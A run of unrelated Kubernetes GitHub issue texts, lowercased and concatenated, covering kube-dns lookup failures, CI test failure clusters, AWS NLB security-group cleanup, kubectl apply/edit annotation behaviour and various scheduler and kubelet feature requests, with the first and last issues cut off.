&{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0307 15:05:43.729309       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r \r \r \r  root@kube-master ~   kubectl exec busybox -ti nslookup kubernetes.local\r server:    10.96.0.10\r address 1: 10.96.0.10\r \r nslookup: can't resolve 'kubernetes.local'\r  root@kube-master ~  \r \r \r   what you expected to happen  :\r dns should work normally.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r install busybox and try to lookup\r \r   anything else we need to know  :\r \r

failure cluster  9a3f59da96d25e83df6e  https://go.k8s.io/triage 9a3f59da96d25e83df6e        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:99 may  9 15:13:01.344: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:169           failure cluster statistics: 6 tests failed,    13 jobs failed,    54 builds failed. failure stats cover 1 day time range '15 may 2017 20:02 utc' to '16 may 2017 20:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart | 12 | |  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart | 11 | |  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-ubuntu-gke-reboot | 8 |  16 may 2017 16:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-reboot/608  | | ci-kubernetes-e2e-gke-reboot | 7 |  16 may 2017 18:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-reboot/4768  | | ci-kubernetes-e2e-ubuntu-gke-1-6-reboot | 6 |  16 may 2017 18:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-1-6-reboot/449  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | quinton-hoole |  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart;  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart;  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart | | sig/node |  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart;  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart;  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart |  </details><br>   current status  https://go.k8s.io/triage 9a3f59da96d25e83df6e

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t10:00:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : pretty_name=\ container linux by coreos 1339.0.0  ladybug \ \r -   kernel    e.g.  uname -a  : 4.10.1-coreos\r -   install tools  :  custom ansible\r -   others  : kube dns related images. gcr.io/google_containers/kubedns-amd64:1.9 and gcr.io/google_containers/kube-dnsmasq-amd64:1.4.1\r \r \r   what happened  :\r java.net.unknownhostexception: dynamodb.us-east-1.amazonaws.com\r \r   what you expected to happen  :\r receive a response to the name lookup request.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r this is the kicker.  we are not able to reproduce this issue on purpose.   however we experience this in our production cluster 1 - 500 times a week.\r \r   anything else we need to know  :\r in the past 2 months or so we had experienced a handful of events where dns was failing for most/all of our production pods and the event would last for 5 - 10 minutes.  during this time the kube-dns service was healthy with 3 - 6 available endpoints at all times.   we increased our kube-dns pod count to 20 in 20 node production clusters.  this level of provisioning alleviated the dns issues that were taking down our production services.  however we still experience at least weekly smaller events ranging from 1 second to 30 seconds which affect a small subset of pods.  during these events 1 - 5 pods on different nodes across the cluster experience a burst of dns failures which have a much smaller end user impact.  we enabled query logging in dnsmasq as we were not sure whether the queries made it from the client pod to one of the kube-dns pods or not.  what was interesting is that during the dns events where query logging was enabled none of the name lookup requests that resulted in an exception were received by dnsmasq.  at this point my colleague noticed these errors coming from dnsmasq-metrics \r \r > error: logging before flag.parse: w0517 03:19:50.139060       1 server.go:53  error getting metrics from dnsmasq: read udp 127.0.0.1:36181->127.0.0.1:53: i/o timeout\r \r that error as near as i can tell is basically a name resolution error from dnsmasq-metrics as it's trying to query the dnsmasq container in the same pod to get dnsmasq's internal metrics similar to running  dig +short chaos txt cachesize.bind .\r \r all of our dns events are happening at the exact same time that 1 or more dnsmasq-metrics container is throwing those errors.   we thought we might be possibly exceeding the default 150 connection limit that dnsmasq has but we do not see any logs indicating that.   if we did we would expect to see these log messages \r \r > dnsmasq: maximum number of concurrent dns queries reached  max: 150 \r \r based off of conversations with other cluster operators and users in slack i know that other users are experiencing these same problems.  i'm hoping that this issue can be used to centralize our efforts and determine if dnsmasq refusing connections is the problem or a symptom of something else.\r \r \r \r \r

failure cluster  48a392f8047f92e5f63b  https://go.k8s.io/triage 48a392f8047f92e5f63b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volumes.go:439 expected error:     < errors.errorstring | 0xc420656240>: {         s: \ gave up after waiting 5m0s for pod \\\ pd-injector\\\  to be \\\ success or failure\\\ \ ,     }     gave up after waiting 5m0s for pod \ pd-injector\  to be \ success or failure\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/volume_util.go:486           failure cluster statistics: 3 tests failed,    16 jobs failed,    130 builds failed. failure stats cover 1 day time range '2 aug 2017 04:55 utc' to '3 aug 2017 04:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  volumes pd should be mountable with ext4 | 14 | |  sig-storage  volumes pd should be mountable with ext3 | 9 | |  sig-storage  volumes pd should be mountable with xfs | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-multizone | 41 |  3 aug 2017 04:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/12718  | | ci-kubernetes-e2e-gke-multizone | 40 |  3 aug 2017 04:13 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-multizone/13456  | | ci-kubernetes-e2e-gce-multizone | 36 |  3 aug 2017 04:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/9919  |   current status  https://go.k8s.io/triage 48a392f8047f92e5f63b

forked from https://github.com/kubernetes/kubernetes/issues/52336 issuecomment-335638221\r \r we should change the allocatable eviction signals to be like other eviction signals.  \r instead of evaluating  allocatable - sum pod_usage  > 0 , we should compare:\r  capacity - reserved - sum pod_usage  > hard_eviction_threshold .\r \r these are effectively the same, since  allocatable = capacity - reserved - hard_eviction_threshold .\r this will make debugging issues easier, and less confusing for those not intimately familiar with the current implementation of evictions\r \r /sig-node\r /assign @dashpole

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r created a service with k8s v1.9.0 and nlb annotation, then deleted it. the security group rules created for the nlb didn't get deleted.\r \r   what you expected to happen  :\r \r the security group rules for nlb should have been removed. the kubernetes-controller-manager emitted this log:\r    \r w1222 20:42:15.153263       5 aws.go:2818  error revoking security group ingress: \ invalidparametervalue: missing mandatory parameter: exactly one of remote-security-group, remote-ip-range, remote-ipv6-range, or prefix-list-id must be present\ \\tstatus code: 400, request id: 65413c4f-b534-4b35-b70c-66b2169be1d4\ \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r with a k8s 1.9 cluster and grant k8s 1.9 additional permissions  until kubernetes/kops 4095 lands in a kops release \r \r    bash\r kops create cluster \\\r     --name example.cluster.k8s.local \\\r     --zones us-west-2a,us-west-2b,us-west-2c \\\r     --kubernetes-version https://storage.googleapis.com/kubernetes-release/release/v1.9.0/ \\\r     --yes\r \r cat << eof > nlb-iam-permissions.json\r {\r     \ version\ : \ 2012-10-17\ ,\r     \ statement\ :  \r         {\r             \ sid\ : \ kopsk8snlbmasterpermsrestrictive\ ,\r             \ effect\ : \ allow\ ,\r             \ action\ :  \r                 \ ec2:describevpcs\ ,\r                 \ elasticloadbalancing:addtags\ ,\r                 \ elasticloadbalancing:createlistener\ ,\r                 \ elasticloadbalancing:createtargetgroup\ ,\r                 \ elasticloadbalancing:deletelistener\ ,\r                 \ elasticloadbalancing:deletetargetgroup\ ,\r                 \ elasticloadbalancing:describelisteners\ ,\r                 \ elasticloadbalancing:describeloadbalancerpolicies\ ,\r                 \ elasticloadbalancing:describetargetgroups\ ,\r                 \ elasticloadbalancing:describetargethealth\ ,\r                 \ elasticloadbalancing:modifylistener\ ,\r                 \ elasticloadbalancing:modifytargetgroup\ ,\r                 \ elasticloadbalancing:registertargets\ ,\r                 \ elasticloadbalancing:setloadbalancerpoliciesoflistener\ \r              ,\r             \ resource\ :  \r                 \  \ \r              \r         }\r      \r }\r eof\r aws iam put-role-policy \\\r     --role-name masters.example.cluster.k8s.local \\\r     --policy-name masters19.example.cluster.k8s.local \\\r     --policy-document file://nlb-iam-permissions.json\r    \r \r create a service:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   namespace: default\r   labels:\r     app: nginx\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-type: \ nlb\ \r spec:\r   externaltrafficpolicy: local\r   ports:\r   - name: http\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     app: nginx\r   type: loadbalancer\r    \r \r    bash\r kubectl run nginx --image=nginx --port=80 --labels app=nginx\r kubectl apply -f service.yaml\r \r   ensure the nlb works\r sleep 360\r nlb_address=$ kubectl get svc nginx -o jsonpath='{.status.loadbalancer.ingress 0 .hostname}' \r curl http://$nlb_address\r kubectl logs -l app=nginx\r \r   delete the nlb\r kubectl delete -f service.yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.0 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  :  linux ip-172-20-120-154 4.4.102-k8s  1 smp sun nov 26 23:32:43 utc 2017 x86_64 gnu/linux \r - install tools: kops\r \r

while using a liveness probe on a pod that must initialize itself with multiple configuration files we found that the liveness probe delay was not always sufficient without making it a large value.  https://github.com/openshift/origin/issues/1504 issuecomment-87824041  it seems likely that we may run in to a scenario where the initial delay is unpredictable but a probe is still desired.  the use cases i can think of are: 1.  an application that must perform n amount of work before initializing.  for example, an application that must read in configuration before starting the processes that will enable the probe to complete.  the configuration may be a single, variable sized file, multiple files, retrieving and writing data from master, etc.   2.  at scale in a prod environment, resource jitter may delay what was a good probe initial delay setting in dev/test environments.  an initial delay with a back off for failures seems appropriate in these use cases in order to give an adequate amount of time between probes before killing and restarting the container.

is this a bug report or feature request?  :\r \r    \r   description  :\r \r currently, we support gpu as external resource in scheduler; and allocate device round-robin in kubelet. we'd like to enhance that to support gpu's topology, e.g. nvlink. here're some sub-tasks in my mind: 1.  report device usage by kubelet 2.  a  scheduler to find a \ better\  node 3.  find better device instead of round-robin in kubelet.\r \r xref https://github.com/kubernetes-sigs/kube-batch/issues/236\r \r @kubernetes/sig-node-feature-requests \r @kubernetes/sig-scheduling-feature-requests \r \r /cc @suleisl2000 @tizhou86 \r \r \r \r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r the predicate types in  pkg/scheduler/algorithm    fitpredicate ,  predicatemetadata , etc.  should be moved to the package that implements these types,  pkg/scheduler/algorithm/predicates . this is a relatively minor change, but having all the predicate stuff in one package will make it easier to refactor in future cleanup.\r \r \r note:  pkg/scheduler/algorithm  may not import  pkg/scheduler/algorithm/predicates  as that would cause an import loop.\r \r \r   /help\r /good-first-issue

docker now supports overlayfs as a storage backend. since aufs doesn't work on all distributions and has caused kernel issues in the past   10959 , we should evaluate  overlayfs  and see if it can become the default/recommended storage driver for kubernetes deployments.  kubernetes is already being used with multiple storage backends, but our existing test infrastructure does not test against all the possible docker storage backends. until we can enhance the existing kubernetes e2e infrastructure, we will continue to recommend users to use the default storage backend, which is  aufs  as of now.

https://github.com/kubernetes/kubernetes/blob/458eb5284abd6933c620ba8ea383032f225e0885/pkg/kubelet/server/server.go l443  because this code writes a 200 ok first, the second write  of 500  does not reset the header.  as a result, kubelet returns a 200 ok on error instead of 500 internal error on logs.  because apiserver doesn't expect a 500 back  no code up until now has had to deal with it , it's potentially risky to fix this.  we could do one of three things: - verify the 1.0 and 1.1 and 1.2 apiservers don't crash when the kubelet logs endpoint returns 500 error code, and then just fix the kubelet   - we do have code that can return json  with a todo asking why we return json  with a non-200 error code, so most clients have to deal with a non-200 - introduce a new flag to the logs endpoint  to return a 500 on error  - just live with this until the next iteration of the kubelet.  as is, we aren't handing structured errors back to the client.  i'm going to fix up error messages so they actually tell the user something, but until we fix this we have no way for clients to know that the error message is coming from the kubelet, vs from the container.

add validate update function to block updates to all fields in the persistentvolume  pv  and persistentvolumeclaim  pvc  objects except those that must be updated by the controller for binding  claim ref, status, etc. .  cc @thockin @bgrant0607

now that we are moving to pure protobuf in etcd and for internal channels, we no longer need ugorji codec generation to make json fast.  we can use the ugorji marshaler / unmarshaler  it has minor perf benefits  or just revert to using golang json serialization.  the ratio of total cluster traffic using json should be small enough that the reduction in code size, generated code, and build logic is worth the tradeoff.\r \r @kubernetes/sig-scalability

lately we have noticed kubernetes api responses becoming very slow on certain\r actions. actions like getting, deleteing and describing are instant as always,\r but scaling or applying a new deployment can take up to 5 minutes to go through.\r \r it's hard to pinpoint exactly when it became this slow, i'm inclined to say this\r is a boiling frog situation where it just started creeping up on us, but i'm\r convinced we had this issue on 1.4.x versions as well.\r \r the best way to demonstrate the problem is  with a screen recording of\r the \ scale\  command  rec   but to be sure; this happens for all actions that _appear_ \r to have something to do with scheduling . in the screenrecording, you can see it\r taking about 90 seconds for the scale to actually take effect.\r \r the same goes for deployments. if we rollout a new deployment, it can take up to\r 10 minutes to gradually rollout the new pods and remove the old pods, whereas\r these deployments used to be a lot faster. you can see it's the api being\r delayed, because the time between the new pod being \ ready\ , and the next old\r pod migrating to \ terminated\  can be several minutes.\r \r we're running on our cluster on gke, and have in fact been in contact with\r google enterprise support for several weeks now, but it doesn't look like we're\r getting any closer to a resolution, so i thought this might actually be related\r to kubernetes itself, and maybe someone more heavily involved in its development\r might recognize this issue.\r \r i can send all support logs on request, but some things we tried:\r \r - create small deployment of just a bare  debian  pod  same result \r - manage scaling through the google cloud shell  same result \r - clean up all old replicasets  same result \r \r  rec : https://dl.dropboxusercontent.com/u/3935754/blendle/gke.mov\r \r \r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+e569a27\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ not a git tree\ , builddate:\ 2016-11-12t09:26:56z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gci\r

from discussion in https://github.com/kubernetes/community/pull/287 issuecomment-275445705\r \r we should consider drop the functionality of updating  last-applied-config  annotation in  kubectl edit .\r because  kubectl edit  does a 2-way diff and will save all the fields that exist in the live config to the annotation. an  apply  operation after  edit  may delete fields unintentionally.\r \r e.g. create a deployment using  apply -f  \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r ...\r spec:\r   replicas: 1\r   minreadyseconds: 10\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.10\r ...\r    \r object before  edit . some fields are added by controller etc.  this can be mocked by  kubectl patch  \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r ...\r spec:\r   replicas: 1\r   revisionhistorylimit: 3   this is a field added without touching the  last-applied-annotation  annotation\r   minreadyseconds: 10\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.10\r ...\r    \r then edit a field, e.g.  replicas : 1 -> 5\r after edit all field are saved in the annotation, then  kubectl apply  the original config.\r  revisionhistorylimit: 3  has been deleted.\r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r ...\r spec:\r   replicas: 1\r   minreadyseconds: 10\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.10\r ...\r    \r \r this behavior is not what we want.\r \r \r another issue:  kubectl replace  doesn't respect  --save-config . \r \r old behavior:\r  kubectl replace  saves the config in the annotation if  --save-config=true . if  --save-config=false  and the annotation already exists, it still updates the annotation.\r \r new behavior:\r  replace  respects the  --save-config  flag. if the user specify  --save-config=true ,  replace  will either creates or updates the annotation. if the user specify --save-config=false , it won't touch the annotation. if the flag is unspecified,  replace  will update the annotation iff it already exists.\r \r \r cc: @pwittrock @liggitt @kubernetes/sig-cli-misc

cluster/gce/config-default.sh has this:\r \r    \r   if we included resourcequota, we should keep it at the end of the list to prevent incrementing quota usage prematurely.\r admission_control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds\r    \r \r afaict, defaulttolerationseconds cannot actually throw, but we should:\r \r   move the order of admissioncontroller initialization to prevent someone adding an unsafe admission controller later\r   change  addorupdatetolerationinpod  to not return error, if it will in fact never return an error

callers to  staging/src/k8s.io/client-go/discovery/restmapper.go.getapigroupresources  should be updated to handle both a return value and an error.  in most cases, it is better to tolerate an error and continue as best as possible instead of failing.\r \r this becomes more important with api aggregation since api servers will be able to fail individually.\r \r @cheftako

failure cluster  aee02e0442d98d20850b  https://go.k8s.io/triage aee02e0442d98d20850b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1243 expected error:     < errors.errorstring | 0xc4202bbbe0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:612           failure cluster statistics: 17 tests failed,    18 jobs failed,    52 builds failed. failure stats cover 1 day time range '18 may 2017 20:57 utc' to '19 may 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | 4 | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | 4 | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-slow | 33 |  19 may 2017 19:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/2527  | | ci-kubernetes-e2e-gke-release-1.6 | 2 |  19 may 2017 17:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-release-1.6/5794  | | ci-kubernetes-e2e-gci-gke-prod | 2 |  19 may 2017 11:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod/2611  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | spxtr |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | | wojtek-t |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | | madhusudancs |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | | sig/network |  k8s.io  services should only allow access from service loadbalancer source ranges  slow ;  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance ;  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | | sig/node |  k8s.io  pods should contain environment variables for services  conformance ;  k8s.io  pods should support retrieving logs from the container over websockets |  </details><br>   current status  https://go.k8s.io/triage aee02e0442d98d20850b

e.g. it still refers to  pkg/api/v1/... \r just take a look: https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md changing-versioned-apis\r \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r some more test cases we should add:\r    pod using a local pv with non-existant path fails to mount\r    pod that sets nodename to a different node than the pv node affinity cannot schedule.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r make sure all the appropriate pvc/pv predicates are invalidated in  invalidatepredicatesforpv  and   invalidatepredicatesforpv \r \r investigate volumenode and volumezone predicates.\r \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when running with  runtime-config=apiextensions.k8s.io/v1beta1 , apiserver will failed with\r > error in initializing storage factory: group version apiextensions.k8s.io/v1beta1 that has not been registered\r \r it is quite misleading. since currently  apiextensions.k8s.io/v1beta1  is being enabled by default even without setting  runtime-config=apiextensions.k8s.io/v1beta1 .\r \r the root cause is that  apiextensions.k8s.io/v1beta1  has not been registered to  legacyscheme.registry . to solve this,  apiextensions.k8s.io/v1beta1  has to be initialized as known groupversions.\r \r a regular way to mitigate this is to promote the gvk registration/install to  pkg/apis , like other apis/objects currently. @janetkuo @sttts wdyt?\r \r /cc @kubernetes/sig-apps-bugs \r \r   what you expected to happen  :\r no such error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start apiserver with  runtime-config=apiextensions.k8s.io/v1beta1 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r kubelet does not use per-cpu stats, and https://github.com/google/cadvisor/pull/1852 will allow us to disable them.\r \r my motivation for wanting this is to cut the overhead of collecting and storing cpu usage metrics - with 16-core machines i get 16x as many timeseries as i need.

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : given the following file:\r    \r kind: configmap\r apiversion: v1\r metadata:\r   name: test\r data:\r   key1: apple\r ---\r kind: configmap\r apiversion: v1\r metadata:\r   name: test2\r data:\r   key2: apple\r    \r returns \r    \r apiversion: v1\r data:\r   key1: apples\r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ key1\ :\ apples\ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ test\ ,\ namespace\ :\ some-namespace\ }}\r   creationtimestamp: 2018-01-25t22:43:35z\r   name: test\r   namespace: somenamespace\r   resourceversion: \ 12144\ \r   selflink: /api/v1/namespaces/some-namespace/configmaps/test\r   uid: 2dc1c468-0221-11e8-bce4-8ece3fb0c49d\r apiversion: v1\r data:\r   key2: apples\r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ key2\ :\ apples\ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ test2\ ,\ namespace\ :\ some-namespace\ }}\r   creationtimestamp: 2018-01-25t22:43:35z\r   name: test2\r   namespace: some-namespace\r   resourceversion: \ 12145\ \r   selflink: /api/v1/namespaces/some-namespace/configmaps/test2\r   uid: 2dc2d982-0221-11e8-bce4-8ece3fb0c49d\r    \r which is not valid yaml  needs a document separator \r   what you expected to happen  : for the output to be a list object containing the 2 configmaps\r \r   how to reproduce it  as minimally and precisely as possible   : described above\r \r   anything else we need to know?  : the -o json flag returns something similar, where it's just json bodies concatenated one after another. not sure if that's considered valid json.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6 client/server\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r    \r root@valving1:~/k8s_ws/src/k8s.io/kubernetes  make check what=./vendor/k8s.io/apiserver/pkg/server goflags=-v kube_test_args='-run ^testloopbackhostport$'\r running tests for apiversion: v1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1,apps/v1beta1,apps/v1beta2,auditregistration.k8s.io/v1alpha1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,autoscaling/v2beta2,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,coordination.k8s.io/v1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,networking.k8s.io/v1beta1,node.k8s.io/v1alpha1,node.k8s.io/v1beta1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,scheduling.k8s.io/v1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0410 07:58:43  running tests without code coverage\r === run   testloopbackhostport\r --- fail: testloopbackhostport  0.00s \r     config_selfclient_test.go:63: expected ipv6 host to be loopback, got \ localhost\ \r fail\r fail k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server 0.118s\r makefile:184: recipe for target 'check' failed\r make:      check  error 1\r    \r \r loopbackhostport code is calling the  net.interfaceaddrs    https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/config_selfclient.go l84  which depends on the machine on which this test is running. especially in this particular testase it looks for the ipv6 ip 